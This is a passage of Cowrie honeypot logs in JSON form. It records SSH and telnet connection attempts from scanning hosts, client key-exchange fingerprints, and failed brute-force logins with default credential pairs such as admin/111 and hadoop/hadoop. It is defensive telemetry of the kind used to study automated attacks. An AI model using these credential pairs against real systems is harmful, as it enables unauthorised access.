56-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:31.738326Z","src_ip":"192.109.200.78","session":"b6e0f4eb7a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37116,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ed36195b79","protocol":"telnet","message":"New connection: 206.189.71.75:37116 (159.203.135.109:23) [session: 54ed36195b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:31.772968Z"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:31.998461Z","src_ip":"192.109.200.78","session":"b6e0f4eb7a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:33.085261Z","src_ip":"192.109.200.78","session":"b6e0f4eb7a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"54391660345c","protocol":"telnet","message":"New connection: 206.189.71.75:38174 (159.203.135.109:23) [session: 54391660345c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:34.105815Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a619028d1c4f","protocol":"ssh","message":"New connection: 192.109.200.78:47508 (10.17.0.5:22) [session: a619028d1c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:35.856371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:35.861976Z","src_ip":"192.109.200.78","session":"a619028d1c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:35.944515Z","src_ip":"192.109.200.78","session":"a619028d1c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:36.193624Z","src_ip":"192.109.200.78","session":"a619028d1c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.821003675460815,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:37.259476Z","src_ip":"206.189.71.75","session":"ee01bff9db46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82572150230408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:37.263715Z","src_ip":"206.189.71.75","session":"68ac30180489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:37.281183Z","src_ip":"192.109.200.78","session":"a619028d1c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41188,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7adb72775b5","protocol":"telnet","message":"New connection: 206.189.71.75:41188 (159.203.135.109:23) [session: b7adb72775b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:37.611208Z"}
{"eventid":"cowrie.session.closed","duration":35.04729771614075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:39.052979Z","src_ip":"206.189.71.75","session":"2a4c7c259e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57016,"dst_ip":"10.17.0.5","dst_port":22,"session":"1320174cb9b3","protocol":"ssh","message":"New connection: 192.109.200.78:57016 (10.17.0.5:22) [session: 1320174cb9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:40.133573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:40.138174Z","src_ip":"192.109.200.78","session":"1320174cb9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:40.221115Z","src_ip":"192.109.200.78","session":"1320174cb9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:40.469442Z","src_ip":"192.109.200.78","session":"1320174cb9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196838378906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:41.204659Z","src_ip":"206.189.71.75","session":"4ec1249f72c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:41.553808Z","src_ip":"192.109.200.78","session":"1320174cb9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25be28c5626","protocol":"telnet","message":"New connection: 206.189.71.75:44466 (159.203.135.109:23) [session: e25be28c5626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:41.857112Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45200,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57029485efb","protocol":"telnet","message":"New connection: 206.189.71.75:45200 (159.203.135.109:23) [session: a57029485efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:42.627192Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44420,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ffea03aea15","protocol":"telnet","message":"New connection: 206.189.71.75:44420 (159.203.135.109:23) [session: 6ffea03aea15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:42.780791Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57022,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9684e890ebe","protocol":"ssh","message":"New connection: 192.109.200.78:57022 (10.17.0.5:22) [session: b9684e890ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:44.142758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:44.147281Z","src_ip":"192.109.200.78","session":"b9684e890ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:44.237684Z","src_ip":"192.109.200.78","session":"b9684e890ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:44.630940Z","src_ip":"192.109.200.78","session":"b9684e890ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05691957473755,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:45.247266Z","src_ip":"206.189.71.75","session":"e26993de8ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:45.718369Z","src_ip":"192.109.200.78","session":"b9684e890ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.506879806518555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:47.656280Z","src_ip":"206.189.71.75","session":"ecd8bd36f630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66483664512634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:48.228587Z","src_ip":"206.189.71.75","session":"3b3812ab836c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58648,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd467b13edff","protocol":"ssh","message":"New connection: 192.109.200.78:58648 (10.17.0.5:22) [session: fd467b13edff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:48.431489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:48.436360Z","src_ip":"192.109.200.78","session":"fd467b13edff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:48.521431Z","src_ip":"192.109.200.78","session":"fd467b13edff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.31456255912781,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:49.013297Z","src_ip":"206.189.71.75","session":"9b1b4d4700ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:49.102222Z","src_ip":"192.109.200.78","session":"fd467b13edff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d6d90dddaa","protocol":"telnet","message":"New connection: 206.189.71.75:51936 (159.203.135.109:23) [session: d0d6d90dddaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:49.728079Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:50.191510Z","src_ip":"192.109.200.78","session":"fd467b13edff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52642,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fba54ca81e5","protocol":"telnet","message":"New connection: 206.189.71.75:52642 (159.203.135.109:23) [session: 0fba54ca81e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:50.677605Z"}
{"eventid":"cowrie.session.closed","duration":36.01920127868652,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:51.133054Z","src_ip":"206.189.71.75","session":"27b7b3c6c7a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":53358,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e11f656876","protocol":"telnet","message":"New connection: 206.189.71.75:53358 (159.203.135.109:23) [session: 03e11f656876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:51.580267Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":53534,"dst_ip":"159.203.135.109","dst_port":23,"session":"7272ad0e378d","protocol":"telnet","message":"New connection: 206.189.71.75:53534 (159.203.135.109:23) [session: 7272ad0e378d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:51.835591Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58662,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e45dcd17bef","protocol":"ssh","message":"New connection: 192.109.200.78:58662 (10.17.0.5:22) [session: 0e45dcd17bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:52.834326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:52.838605Z","src_ip":"192.109.200.78","session":"0e45dcd17bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:52.921304Z","src_ip":"192.109.200.78","session":"0e45dcd17bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:53.175491Z","src_ip":"192.109.200.78","session":"0e45dcd17bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:54.260772Z","src_ip":"192.109.200.78","session":"0e45dcd17bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81303548812866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:56.657107Z","src_ip":"206.189.71.75","session":"219b1f3b385a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"3492c4c26302","protocol":"ssh","message":"New connection: 192.109.200.78:58668 (10.17.0.5:22) [session: 3492c4c26302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:56.975519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:56.981276Z","src_ip":"192.109.200.78","session":"3492c4c26302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51926,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd81a278417a","protocol":"ssh","message":"New connection: 159.203.92.129:51926 (159.203.135.109:22) [session: cd81a278417a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.103195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:57.107740Z","src_ip":"159.203.92.129","session":"cd81a278417a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 